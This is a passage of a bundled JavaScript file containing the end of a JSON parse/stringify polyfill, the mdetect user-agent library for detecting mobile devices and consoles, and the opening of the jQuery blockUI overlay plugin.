1216 for (i = 0; i < space; i += 1) {
1217 indent += ' ';
1218 }
1219
1220// If the space parameter is a string, it will be used as the indent string.
1221
1222 } else if (typeof space === 'string') {
1223 indent = space;
1224 }
1225
1226// If there is a replacer, it must be a function or an array.
1227// Otherwise, throw an error.
1228
1229 rep = replacer;
1230 if (replacer && typeof replacer !== 'function' &&
1231 (typeof replacer !== 'object' ||
1232 typeof replacer.length !== 'number')) {
1233 throw new Error('JSON.stringify');
1234 }
1235
1236// Make a fake root object containing our value under the key of ''.
1237// Return the result of stringifying the value.
1238
1239 return str('', {'': value});
1240 };
1241 }
1242
1243
1244// If the JSON object does not yet have a parse method, give it one.
1245
1246 if (typeof JSON.parse !== 'function') {
1247 JSON.parse = function (text, reviver) {
1248
1249// The parse method takes a text and an optional reviver function, and returns
1250// a JavaScript value if the text is a valid JSON text.
1251
1252 var j;
1253
1254 function walk(holder, key) {
1255
1256// The walk method is used to recursively walk the resulting structure so
1257// that modifications can be made.
1258
1259 var k, v, value = holder[key];
1260 if (value && typeof value === 'object') {
1261 for (k in value) {
1262 if (Object.prototype.hasOwnProperty.call(value, k)) {
1263 v = walk(value, k);
1264 if (v !== undefined) {
1265 value[k] = v;
1266 } else {
1267 delete value[k];
1268 }
1269 }
1270 }
1271 }
1272 return reviver.call(holder, key, value);
1273 }
1274
1275
1276// Parsing happens in four stages. In the first stage, we replace certain
1277// Unicode characters with escape sequences. JavaScript handles many characters
1278// incorrectly, either silently deleting them, or treating them as line endings.
1279
1280 text = String(text);
1281 cx.lastIndex = 0;
1282 if (cx.test(text)) {
1283 text = text.replace(cx, function (a) {
1284 return '\\u' +
1285 ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
1286 });
1287 }
1288
1289// In the second stage, we run the text against regular expressions that look
1290// for non-JSON patterns. We are especially concerned with '()' and 'new'
1291// because they can cause invocation, and '=' because it can cause mutation.
1292// But just to be safe, we want to reject all unexpected forms.
1293
1294// We split the second stage into 4 regexp operations in order to work around
1295// crippling inefficiencies in IE's and Safari's regexp engines. First we
1296// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
1297// replace all simple value tokens with ']' characters. Third, we delete all
1298// open brackets that follow a colon or comma or that begin the text. Finally,
1299// we look to see that the remaining characters are only whitespace or ']' or
1300// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
1301
1302 if (/^[\],:{}\s]*$/
1303 .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
1304 .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
1305 .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
1306
1307// In the third stage we use the eval function to compile the text into a
1308// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
1309// in JavaScript: it can begin a block or an object literal. We wrap the text
1310// in parens to eliminate the ambiguity.
1311
1312 j = eval('(' + text + ')');
1313
1314// In the optional fourth stage, we recursively walk the new structure, passing
1315// each name/value pair to a reviver function for possible transformation.
1316
1317 return typeof reviver === 'function' ?
1318 walk({'': j}, '') : j;
1319 }
1320
1321// If the text is not JSON parseable, then a SyntaxError is thrown.
1322
1323 throw new SyntaxError('JSON.parse');
1324 };
1325 }
1326}());
1327
1328
1329
1330/* *******************************************
1331// Copyright 2010-2012, Anthony Hand
1332// mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
1333// LICENSE INFORMATION
1334// Licensed under the Apache License, Version 2.0 (the "License");
1335// you may not use this file except in compliance with the License.
1336// You may obtain a copy of the License at
1337// http://www.apache.org/licenses/LICENSE-2.0
1338// Unless required by applicable law or agreed to in writing,
1339// software distributed under the License is distributed on an
1340// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
1341// either express or implied. See the License for the specific
1342// language governing permissions and limitations under the License.
1343// *******************************************
1344*/
1345
1346var isIphone = false;
1347var isAndroidPhone = false;
1348var isTierTablet = false;
1349var isTierIphone = false;
1350var isTierRichCss = false;
1351var isTierGenericMobile = false;
1352
1353var engineWebKit = "webkit";
1354var deviceIphone = "iphone";
1355var deviceIpod = "ipod";
1356var deviceIpad = "ipad";
1357var deviceMacPpc = "macintosh"; //Used for disambiguation
1358
1359var deviceAndroid = "android";
1360var deviceGoogleTV = "googletv";
1361var deviceXoom = "xoom"; //Motorola Xoom
1362var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
1363
1364var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
1365
1366var deviceSymbian = "symbian";
1367var deviceS60 = "series60";
1368var deviceS70 = "series70";
1369var deviceS80 = "series80";
1370var deviceS90 = "series90";
1371
1372var deviceWinPhone7 = "windows phone os 7";
1373var deviceWinMob = "windows ce";
1374var deviceWindows = "windows";
1375var deviceIeMob = "iemobile";
1376var devicePpc = "ppc"; //Stands for PocketPC
1377var enginePie = "wm5 pie"; //An old Windows Mobile
1378
1379var deviceBB = "blackberry";
1380var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
1381var deviceBBStorm = "blackberry95"; //Storm 1 and 2
1382var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
1383var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
1384var deviceBBTour = "blackberry96"; //Tour
1385var deviceBBCurve = "blackberry89"; //Curve 2
1386var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
1387var deviceBBTorch = "blackberry 98"; //Torch
1388var deviceBBPlaybook = "playbook"; //PlayBook tablet
1389
1390var devicePalm = "palm";
1391var deviceWebOS = "webos"; //For Palm's line of WebOS devices
1392var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
1393
1394var engineBlazer = "blazer"; //Old Palm browser
1395var engineXiino = "xiino";
1396
1397var deviceKindle = "kindle"; //Amazon Kindle, eInk one
1398var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
1399
1400var vndwap = "vnd.wap";
1401var wml = "wml";
1402
1403var deviceTablet = "tablet"; //Generic term for slate and tablet devices
1404var deviceBrew = "brew";
1405var deviceDanger = "danger";
1406var deviceHiptop = "hiptop";
1407var devicePlaystation = "playstation";
1408var deviceNintendoDs = "nitro";
1409var deviceNintendo = "nintendo";
1410var deviceWii = "wii";
1411var deviceXbox = "xbox";
1412var deviceArchos = "archos";
1413
1414var engineOpera = "opera"; //Popular browser
1415var engineNetfront = "netfront"; //Common embedded OS browser
1416var engineUpBrowser = "up.browser"; //common on some phones
1417var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
1418var deviceMidp = "midp"; //a mobile Java technology
1419var uplink = "up.link";
1420var engineTelecaQ = 'teleca q'; //a modern feature phone browser
1421
1422var devicePda = "pda";
1423var mini = "mini"; //Some mobile browsers put 'mini' in their names.
1424var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
1425var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
1426
1427var maemo = "maemo";
1428var linux = "linux";
1429var qtembedded = "qt embedded"; //for Sony Mylo and others
1430var mylocom2 = "com2"; //for Sony Mylo also
1431
1432var manuSonyEricsson = "sonyericsson";
1433var manuericsson = "ericsson";
1434var manuSamsung1 = "sec-sgh";
1435var manuSony = "sony";
1436var manuHtc = "htc"; //Popular Android and WinMo manufacturer
1437
1438var svcDocomo = "docomo";
1439var svcKddi = "kddi";
1440var svcVodafone = "vodafone";
1441
1442var disUpdate = "update"; //pda vs. update
1443
1444var uagent = "";
1445if (navigator && navigator.userAgent)
1446 uagent = navigator.userAgent.toLowerCase();
1447
1448function DetectIphone()
1449{
1450 if (uagent.search(deviceIphone) > -1)
1451 {
1452 if (DetectIpad() || DetectIpod())
1453 return false;
1454 else
1455 return true;
1456 }
1457 else
1458 return false;
1459}
1460
1461function DetectIpod()
1462{
1463 if (uagent.search(deviceIpod) > -1)
1464 return true;
1465 else
1466 return false;
1467}
1468
1469function DetectIpad()
1470{
1471 if (uagent.search(deviceIpad) > -1 && DetectWebkit())
1472 return true;
1473 else
1474 return false;
1475}
1476
1477function DetectIphoneOrIpod()
1478{
1479 if (uagent.search(deviceIphone) > -1 ||
1480 uagent.search(deviceIpod) > -1)
1481 return true;
1482 else
1483 return false;
1484}
1485
1486function DetectIos()
1487{
1488 if (DetectIphoneOrIpod() || DetectIpad())
1489 return true;
1490 else
1491 return false;
1492}
1493
1494function DetectAndroid()
1495{
1496 if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
1497 return true;
1498 if (uagent.search(deviceHtcFlyer) > -1)
1499 return true;
1500 else
1501 return false;
1502}
1503
1504function DetectAndroidPhone()
1505{
1506 if (DetectAndroid() && (uagent.search(mobile) > -1))
1507 return true;
1508 if (DetectOperaAndroidPhone())
1509 return true;
1510 if (uagent.search(deviceHtcFlyer) > -1)
1511 return true;
1512 else
1513 return false;
1514}
1515
1516function DetectAndroidTablet()
1517{
1518 if (!DetectAndroid())
1519 return false;
1520
1521 if (DetectOperaMobile())
1522 return false;
1523 if (uagent.search(deviceHtcFlyer) > -1)
1524 return false;
1525
1526 if (uagent.search(mobile) > -1)
1527 return false;
1528 else
1529 return true;
1530}
1531
1532
1533function DetectAndroidWebKit()
1534{
1535 if (DetectAndroid() && DetectWebkit())
1536 return true;
1537 else
1538 return false;
1539}
1540
1541
1542function DetectGoogleTV()
1543{
1544 if (uagent.search(deviceGoogleTV) > -1)
1545 return true;
1546 else
1547 return false;
1548}
1549
1550
1551function DetectWebkit()
1552{
1553 if (uagent.search(engineWebKit) > -1)
1554 return true;
1555 else
1556 return false;
1557}
1558
1559function DetectS60OssBrowser()
1560{
1561 if (DetectWebkit())
1562 {
1563 if ((uagent.search(deviceS60) > -1 ||
1564 uagent.search(deviceSymbian) > -1))
1565 return true;
1566 else
1567 return false;
1568 }
1569 else
1570 return false;
1571}
1572
1573function DetectSymbianOS()
1574{
1575 if (uagent.search(deviceSymbian) > -1 ||
1576 uagent.search(deviceS60) > -1 ||
1577 uagent.search(deviceS70) > -1 ||
1578 uagent.search(deviceS80) > -1 ||
1579 uagent.search(deviceS90) > -1)
1580 return true;
1581 else
1582 return false;
1583}
1584
1585function DetectWindowsPhone7()
1586{
1587 if (uagent.search(deviceWinPhone7) > -1)
1588 return true;
1589 else
1590 return false;
1591}
1592
1593function DetectWindowsMobile()
1594{
1595 if (DetectWindowsPhone7())
1596 return false;
1597 if (uagent.search(deviceWinMob) > -1 ||
1598 uagent.search(deviceIeMob) > -1 ||
1599 uagent.search(enginePie) > -1)
1600 return true;
1601 if ((uagent.search(devicePpc) > -1) &&
1602 !(uagent.search(deviceMacPpc) > -1))
1603 return true;
1604 if (uagent.search(manuHtc) > -1 &&
1605 uagent.search(deviceWindows) > -1)
1606 return true;
1607 else
1608 return false;
1609}
1610
1611function DetectBlackBerry()
1612{
1613 if (uagent.search(deviceBB) > -1)
1614 return true;
1615 if (uagent.search(vndRIM) > -1)
1616 return true;
1617 else
1618 return false;
1619}
1620
1621function DetectBlackBerryTablet()
1622{
1623 if (uagent.search(deviceBBPlaybook) > -1)
1624 return true;
1625 else
1626 return false;
1627}
1628
1629function DetectBlackBerryWebKit()
1630{
1631 if (DetectBlackBerry() &&
1632 uagent.search(engineWebKit) > -1)
1633 return true;
1634 else
1635 return false;
1636}
1637
1638function DetectBlackBerryTouch()
1639{
1640 if (DetectBlackBerry() &&
1641 ((uagent.search(deviceBBStorm) > -1) ||
1642 (uagent.search(deviceBBTorch) > -1) ||
1643 (uagent.search(deviceBBBoldTouch) > -1) ||
1644 (uagent.search(deviceBBCurveTouch) > -1) ))
1645 return true;
1646 else
1647 return false;
1648}
1649
1650function DetectBlackBerryHigh()
1651{
1652 if (DetectBlackBerryWebKit())
1653 return false;
1654 if (DetectBlackBerry())
1655 {
1656 if (DetectBlackBerryTouch() ||
1657 uagent.search(deviceBBBold) > -1 ||
1658 uagent.search(deviceBBTour) > -1 ||
1659 uagent.search(deviceBBCurve) > -1)
1660 return true;
1661 else
1662 return false;
1663 }
1664 else
1665 return false;
1666}
1667
1668function DetectBlackBerryLow()
1669{
1670 if (DetectBlackBerry())
1671 {
1672 if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
1673 return false;
1674 else
1675 return true;
1676 }
1677 else
1678 return false;
1679}
1680
1681
1682function DetectPalmOS()
1683{
1684 if (uagent.search(devicePalm) > -1 ||
1685 uagent.search(engineBlazer) > -1 ||
1686 uagent.search(engineXiino) > -1)
1687 {
1688 if (DetectPalmWebOS())
1689 return false;
1690 else
1691 return true;
1692 }
1693 else
1694 return false;
1695}
1696
1697function DetectPalmWebOS()
1698{
1699 if (uagent.search(deviceWebOS) > -1)
1700 return true;
1701 else
1702 return false;
1703}
1704
1705function DetectWebOSTablet()
1706{
1707 if (uagent.search(deviceWebOShp) > -1 &&
1708 uagent.search(deviceTablet) > -1)
1709 return true;
1710 else
1711 return false;
1712}
1713
1714function DetectGarminNuvifone()
1715{
1716 if (uagent.search(deviceNuvifone) > -1)
1717 return true;
1718 else
1719 return false;
1720}
1721
1722
1723function DetectSmartphone()
1724{
1725 if (DetectIphoneOrIpod()
1726 || DetectAndroidPhone()
1727 || DetectS60OssBrowser()
1728 || DetectSymbianOS()
1729 || DetectWindowsMobile()
1730 || DetectWindowsPhone7()
1731 || DetectBlackBerry()
1732 || DetectPalmWebOS()
1733 || DetectPalmOS()
1734 || DetectGarminNuvifone())
1735 return true;
1736
1737 return false;
1738};
1739
1740function DetectArchos()
1741{
1742 if (uagent.search(deviceArchos) > -1)
1743 return true;
1744 else
1745 return false;
1746}
1747
1748function DetectBrewDevice()
1749{
1750 if (uagent.search(deviceBrew) > -1)
1751 return true;
1752 else
1753 return false;
1754}
1755
1756function DetectDangerHiptop()
1757{
1758 if (uagent.search(deviceDanger) > -1 ||
1759 uagent.search(deviceHiptop) > -1)
1760 return true;
1761 else
1762 return false;
1763}
1764
1765function DetectMaemoTablet()
1766{
1767 if (uagent.search(maemo) > -1)
1768 return true;
1769 if ((uagent.search(linux) > -1)
1770 && (uagent.search(deviceTablet) > -1)
1771 && !DetectWebOSTablet()
1772 && !DetectAndroid())
1773 return true;
1774 else
1775 return false;
1776}
1777
1778function DetectSonyMylo()
1779{
1780 if (uagent.search(manuSony) > -1)
1781 {
1782 if (uagent.search(qtembedded) > -1 ||
1783 uagent.search(mylocom2) > -1)
1784 return true;
1785 else
1786 return false;
1787 }
1788 else
1789 return false;
1790}
1791
1792function DetectOperaMobile()
1793{
1794 if (uagent.search(engineOpera) > -1)
1795 {
1796 if (uagent.search(mini) > -1 ||
1797 uagent.search(mobi) > -1)
1798 return true;
1799 else
1800 return false;
1801 }
1802 else
1803 return false;
1804}
1805
1806function DetectOperaAndroidPhone()
1807{
1808 if ((uagent.search(engineOpera) > -1) &&
1809 (uagent.search(deviceAndroid) > -1) &&
1810 (uagent.search(mobi) > -1))
1811 return true;
1812 else
1813 return false;
1814}
1815
1816function DetectOperaAndroidTablet()
1817{
1818 if ((uagent.search(engineOpera) > -1) &&
1819 (uagent.search(deviceAndroid) > -1) &&
1820 (uagent.search(deviceTablet) > -1))
1821 return true;
1822 else
1823 return false;
1824}
1825
1826function DetectSonyPlaystation()
1827{
1828 if (uagent.search(devicePlaystation) > -1)
1829 return true;
1830 else
1831 return false;
1832};
1833
1834function DetectNintendo()
1835{
1836 if (uagent.search(deviceNintendo) > -1 ||
1837 uagent.search(deviceWii) > -1 ||
1838 uagent.search(deviceNintendoDs) > -1)
1839 return true;
1840 else
1841 return false;
1842};
1843
1844function DetectXbox()
1845{
1846 if (uagent.search(deviceXbox) > -1)
1847 return true;
1848 else
1849 return false;
1850};
1851
1852function DetectGameConsole()
1853{
1854 if (DetectSonyPlaystation())
1855 return true;
1856 if (DetectNintendo())
1857 return true;
1858 if (DetectXbox())
1859 return true;
1860 else
1861 return false;
1862};
1863
1864function DetectKindle()
1865{
1866 if (uagent.search(deviceKindle) > -1 &&
1867 !DetectAndroid())
1868 return true;
1869 else
1870 return false;
1871}
1872
1873function DetectAmazonSilk()
1874{
1875 if (uagent.search(engineSilk) > -1)
1876 return true;
1877 else
1878 return false;
1879}
1880
1881function DetectMobileQuick()
1882{
1883 if (DetectTierTablet())
1884 return false;
1885
1886 if (DetectSmartphone())
1887 return true;
1888
1889 if (uagent.search(deviceMidp) > -1 ||
1890 DetectBrewDevice())
1891 return true;
1892
1893 if (DetectOperaMobile())
1894 return true;
1895
1896 if (uagent.search(engineNetfront) > -1)
1897 return true;
1898 if (uagent.search(engineUpBrowser) > -1)
1899 return true;
1900 if (uagent.search(engineOpenWeb) > -1)
1901 return true;
1902
1903 if (DetectDangerHiptop())
1904 return true;
1905
1906 if (DetectMaemoTablet())
1907 return true;
1908 if (DetectArchos())
1909 return true;
1910
1911 if ((uagent.search(devicePda) > -1) &&
1912 !(uagent.search(disUpdate) > -1))
1913 return true;
1914 if (uagent.search(mobile) > -1)
1915 return true;
1916
1917 if (DetectKindle() ||
1918 DetectAmazonSilk())
1919 return true;
1920
1921 return false;
1922};
1923
1924
1925function DetectMobileLong()
1926{
1927 if (DetectMobileQuick())
1928 return true;
1929 if (DetectGameConsole())
1930 return true;
1931 if (DetectSonyMylo())
1932 return true;
1933
1934 if (uagent.search(manuSamsung1) > -1 ||
1935 uagent.search(manuSonyEricsson) > -1 ||
1936 uagent.search(manuericsson) > -1)
1937 return true;
1938
1939 if (uagent.search(svcDocomo) > -1)
1940 return true;
1941 if (uagent.search(svcKddi) > -1)
1942 return true;
1943 if (uagent.search(svcVodafone) > -1)
1944 return true;
1945
1946
1947 return false;
1948};
1949
1950
1951function DetectTierTablet()
1952{
1953 if (DetectIpad()
1954 || DetectAndroidTablet()
1955 || DetectBlackBerryTablet()
1956 || DetectWebOSTablet())
1957 return true;
1958 else
1959 return false;
1960};
1961
1962function DetectTierIphone()
1963{
1964 if (DetectIphoneOrIpod())
1965 return true;
1966 if (DetectAndroidPhone())
1967 return true;
1968 if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
1969 return true;
1970 if (DetectWindowsPhone7())
1971 return true;
1972 if (DetectPalmWebOS())
1973 return true;
1974 if (DetectGarminNuvifone())
1975 return true;
1976 else
1977 return false;
1978};
1979
1980function DetectTierRichCss()
1981{
1982 if (DetectMobileQuick())
1983 {
1984 if (DetectTierIphone() || DetectKindle())
1985 return false;
1986
1987 if (DetectWebkit())
1988 return true;
1989 if (DetectS60OssBrowser())
1990 return true;
1991
1992 if (DetectBlackBerryHigh())
1993 return true;
1994
1995 if (DetectWindowsMobile())
1996 return true;
1997
1998 if (uagent.search(engineTelecaQ) > -1)
1999 return true;
2000
2001 else
2002 return false;
2003 }
2004 else
2005 return false;
2006};
2007
2008function DetectTierOtherPhones()
2009{
2010 if (DetectMobileLong())
2011 {
2012 if (DetectTierIphone() || DetectTierRichCss())
2013 return false;
2014
2015 else
2016 return true;
2017 }
2018 else
2019 return false;
2020};
2021
2022
2023function InitDeviceScan()
2024{
2025 isIphone = DetectIphoneOrIpod();
2026 isAndroidPhone = DetectAndroidPhone();
2027 isTierIphone = DetectTierIphone();
2028 isTierTablet = DetectTierTablet();
2029
2030 isTierRichCss = DetectTierRichCss();
2031 isTierGenericMobile = DetectTierOtherPhones();
2032};
2033
2034try {
2035 InitDeviceScan();
2036}catch(e){}
2037
2038
2039/*!
2040 * jQuery blockUI plugin
2041 * Version 2.70.0-2014.11.23
2042 * Requires jQuery v1.7 or later
2043 *
2044 * Examples at: http://malsup.com/jquery/block/
2045 * Copyright (c) 2007-2013 M. Alsup
2046 * Dual licensed under the MIT and GPL licenses:
2047 * http://www.opensource.org/licenses/mit-license.php
2048 * http://www.gnu.org/licenses/gpl.html
2049 *
2050 * Thanks to Amir-Hossein Sobhi for some excellent contributions!
2051 */
2052
2053;(function() {
2054/*jshint eqeqeq:false curly:false latedef:false */
2055"use strict";
2056
2057 function setup($) {
2058 $.fn._fadeIn = $.fn.fadeIn;
2059
2060 var noOp = $.noop || function() {};
2061
2062 // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
2063 // confusing userAgent strings on Vista)
2064 var msie = /MSIE/.test(navigator.userAgent);
2065 var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
2066 var mode = document.documentMode || 0;
2067 var setExpr = $.isFunction( document.createElement('div').style.setExpression );
2068
2069 // global $ methods for blocking/unblocking the entire page
2070 $.blockUI = function(opts) { install(window, opts); };
2071 $.unblockUI = function(opts) { remove(window, opts); };
2072
2073 // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
2074 $.growlUI = function(title, message, timeout, onClose) {
2075 var $m = $('<div class="growlUI"></div>');
2076 if (title) $m.append('<h1>'+title+'</h1>');
2077 if (message) $m.append('<h2>'+message+'</h2>');
2078 if (timeout === undefined) timeout = 3000;
2079
2080 // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
2081 var callBlock = function(opts) {
2082 opts = opts || {};
2083
2084 $.blockUI({
2085 message: $m,
2086 fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
2087 fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
2088 timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
2089 centerY: false,
2090 showOverlay: false,
2091 onUnblock: onClose,
2092 css: $.blockUI.defaults.growlCSS
2093 });
2094 };
2095
2096 callBlock();
2097 var nonmousedOpacity = $m.css('opacity');
2098 $m.mouseover(function() {
2099 callBlock({
2100 fadeIn: 0,
2101 timeout: 30000
2102 });
2103
2104 var displayBlock = $('.blockMsg');
2105 displayBlock.stop(); // cancel fadeout if it has started
2106 displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
2107 }).mouseout(function() {
2108 $('.blockMsg').fadeOut(1000);
2109 });
2110 // End konapun additions
2111 };
2112
2113 // plugin method for blocking element content
2114 $.fn.block = function(opts) {
2115 if ( this[0] === window ) {
2116 $.blockUI( opts );
2117 return this;
2118 }
2119 var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
2120 this.each(function() {
2121 var $el = $(this);
2122 if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
2123 return;
2124 $el.unblock({ fadeOut: 0 });
2125 });
2126
2127 return this.each(function() {
2128 if ($.css(this,'position') == 'static') {
2129 this.style.position = 'relative';
2130 $(this).data('blockUI.static', true);
2131 }
2132 this.style.zoom = 1; // force 'hasLayout' in ie
2133 install(this, opts);
2134 });
2135 };
2136
2137 // plugin method for unblocking element content
2138 $.fn.unblock = function(opts) {
2139 if ( this[0] === window ) {
2140 $.unblockUI( opts );
2141 return this;
2142 }
2143 return this.each(function() {
2144 remove(this, opts);
2145 });
2146 };
2147
2148 $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
2149
2150 // override these in your code to change the default behavior and style
2151 $.blockUI.defaults = {
2152 // message displayed when blocking (use null for no message)
2153 message: '<h1>Please wait...</h1>',
2154
2155 title: null, // title string; only used when theme == true
2156 draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
2157
2158 theme: false, // set to true to use with jQuery UI themes
2159
2160 // styles for the message when blocking; if you wish to disable
2161 // these and use an external stylesheet then do this in your code:
2162 // $.blockUI.defaults.css = {};
2163 css: {
2164 padding: 0,
2165 margin: 0,
2166 width: '30%',
2167 top: '40%',
2168 left: '35%',
2169 textAlign: 'center',
2170 color: '#000',
2171 border: '3px solid #aaa',
2172 backgroundColor:'#fff',
2173 cursor: 'wait'
2174 },
2175
2176 // minimal style set used when themes are used
2177 themedCSS: {
2178 width: '30%',
2179 top: '40%',
2180 left: '35%'
2181 },
2182
2183 // styles for the overlay
2184 overlayCSS: {
2185 backgroundColor: '#000',
2186 opacity: 0.6,
2187 cursor: 'wait'
2188 },
2189
2190 // style to replace wait cursor before unblocking to correct issue
2191 // of lingering wait cursor
2192 cursorReset: 'default',
2193
2194 // styles applied when using $.growlUI
2195 growlCSS: {
2196 width: '350px',
2197 top: '10px',
2198 left: '',
2199 right: '10px',
2200 border: 'none',
2201 padding: '5px',
2202 opacity: 0.6,
2203 cursor: 'default',
2204 color: '#fff',
2205 backgroundColor: '#000',
2206 '-webkit-border-radius':'10px',
2207 '-moz-border-radius': '10px',
2208 'border-radius': '10px'
2209 },
2210
2211 // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
2212 // (hat tip to Jorge H. N. de Vasconcelos)
2213 /*jshint scripturl:true */
2214 iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
2215
2216 // force usage of iframe in non-IE browsers (handy for blocking applets)
2217 forceIframe: false,
2218
2219 // z-index for the blocking overlay
2220 baseZ: 1000,
2221
2222 // set these to true to have the message automatically centered
2223 centerX: true, // <-- only effects element blocking (page block controlled via css above)
2224 centerY: true,
2225
2226 // allow body element to be stetched in ie6; this makes blocking look better
2227 // on "short" pages. disable if you wish to prevent changes to the body height
2228 allowBodyStretch: true,
2229
2230 // enable if you want key and mouse events to be disabled for content that is blocked
2231 bindEvents: true,
2232
2233 // be default blockUI will supress tab navigation from leaving blocking content
2234 // (if bindEvents is true)
2235 constrainTabKey: true,
2236
2237 // fadeIn time in millis; set to 0 to disable fadeIn on block
2238 fadeIn: 200,
2239
2240 // fadeOut time in millis; set to 0 to disable fadeOut on unblock
2241 fadeOut: 400,
2242
2243 // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
2244 timeout: 0,
2245
2246 // disable if you don't want to show the overlay
2247 showOverlay: true,
2248
2249 // if true, focus will be placed in the first available input field when
2250 // page blocking
2251 focusInput: true,
2252
2253 // elements that can receive focus
2254 focusableElements: ':input:enabled:visible',
2255
2256 // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
2257 // no longer needed in 2012
2258 // applyPlatformOpacityRules: true,
2259
2260 // callback method invoked when fadeIn has completed and blocking message is visible
2261 onBlock: null,
2262
2263 // callback method invoked when unblocking has completed; the callback is
2264 // passed the element that has been unblocked (which is the window object for page
2265 // blocks) and the options that were passed to the unblock call:
2266 // onUnblock(element, options)
2267 onUnblock: null,
2268
2269 // callback method invoked when the overlay area is clicked.
2270 // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
2271 onOverlayClick: null,
2272
2273 // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
2274 quirksmodeOffsetHack: 4,
2275
2276 // class name of the message block
2277 blockMsgClass: 'blockMsg',
2278
2279 // if it is already blocked, then ignore it (don't unblock and reblock)
2280 ignoreIfBlocked: false
2281 };
2282
2283 // private data and functions follow...
2284
2285 var pageBlock = null;
2286 var pageBlockEls = [];
2287
2288 function install(el, opts) {
2289 var css, themedCSS;
2290 var full = (el == window);
2291 var msg = (opts && opts.message !== undefined ? opts.message : undefined);
2292 opts = $.extend({}, $.blockUI.defaults, opts || {});
2293
2294 if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
2295 return;
2296
2297 opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
2298 css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
2299 if (opts.onOverlayClick)
2300 opts.overlayCSS.cursor = 'pointer';
2301
2302 themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
2303 msg = msg === undefined ? opts.message : msg;
2304
2305 // remove the current block (if there is one)
2306 if (full && pageBlock)
2307 remove(window, {fadeOut:0});
2308
2309 // if an existing element is being used as the blocking content then we capture
2310 // its current place in the DOM (and current display style) so we can restore
2311 // it when we unblock
2312 if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
2313 var node = msg.jquery ? msg[0] : msg;
2314 var data = {};
2315 $(el).data('blockUI.history', data);
2316 data.el = node;
2317 data.parent = node.parentNode;
2318 data.display = node.style.display;
2319 data.position = node.style.position;
2320 if (data.parent)
2321 data.parent.removeChild(node);
2322 }
2323
2324 $(el).data('blockUI.onUnblock', opts.onUnblock);
2325 var z = opts.baseZ;
2326
2327 // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
2328 // layer1 is the iframe layer which is used to supress bleed through of underlying content
2329 // layer2 is the overlay layer which has opacity and a wait cursor (by default)
2330 // layer3 is the message content that is displayed while blocking
2331 var lyr1, lyr2, lyr3, s;
2332 if (msie || opts.forceIframe)
2333 lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
2334 else
2335 lyr1 = $('<div class="blockUI" style="display:none"></div>');
2336
2337 if (opts.theme)
2338 lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
2339 else
2340 lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
2341
2342 if (opts.theme && full) {
2343 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
2344 if ( opts.title ) {
2345 s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
2346 }
2347 s += '<div class="ui-widget-content ui-dialog-content"></div>';
2348 s += '</div>';
2349 }
2350 else if (opts.theme) {
2351 s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
2352 if ( opts.title ) {
